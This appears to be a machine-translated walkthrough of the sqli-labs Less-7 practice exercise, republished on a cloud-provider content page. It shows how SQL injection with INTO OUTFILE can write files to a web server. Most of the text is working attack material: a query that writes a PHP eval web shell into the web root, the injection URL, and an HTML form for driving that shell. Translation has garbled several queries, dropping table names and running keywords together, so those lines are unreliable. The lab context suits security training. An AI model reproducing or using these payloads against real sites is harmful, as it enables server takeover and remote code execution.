"Sqli-labs" Less7 get-dump into outfile-string (export file GET character injection)

Source: Internet
Author: User

Using this vulnerability requires knowing the root path of the Web program and that the Secure-file-priv configuration of MySQL should be writable to that path

Add single quotation marks to find that the error is masked

The corresponding SQL statement should be

Select  from where xx=(('1')) ...

field or 3

Perform tests in the database to see if the write succeeds

SELECT *  from WHERE id=(('1'UNIONSELECT1,2 ,'111'into'D:\phpStudy\PHPTutorial\WWW\1.php  '#')) LIMIT 0,1

Modify My.ini

Secure-file-priv= ""

Restart MySQL, test write, note/need to escape

Select *  from WHERE id=(('a'UnionSelect1,2 ,'11111'into'd://phpstudy//phptutorial//www/ /1.php'#')) LIMIT 0,1

Constructs a GET request, writes a word trojan

<?php @eval($_post["C"]);? >  
Http://localhost/sqli/Less-7/?id=a ')) union Select, '<? php @eval ($_post["C"]); ?>' into outfile ' d://phpstudy//phptutorial//www//mm.php '%23

"Note" This is not MySQL execution error, check the source

The error is displayed when row is empty

Access, file successfully written

Create a new local HTML

<HTML>      <Body>          <formAction= "http://localhost/mm.php"Method= "POST">              <inputtype= "text"name= "C"value= "phpinfo ();">              <inputtype= "Submit"value= "Submit">          </form>      </Body>  </HTML>

"Sqli-labs" Less7 get-dump into outfile-string (export file GET character injection)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.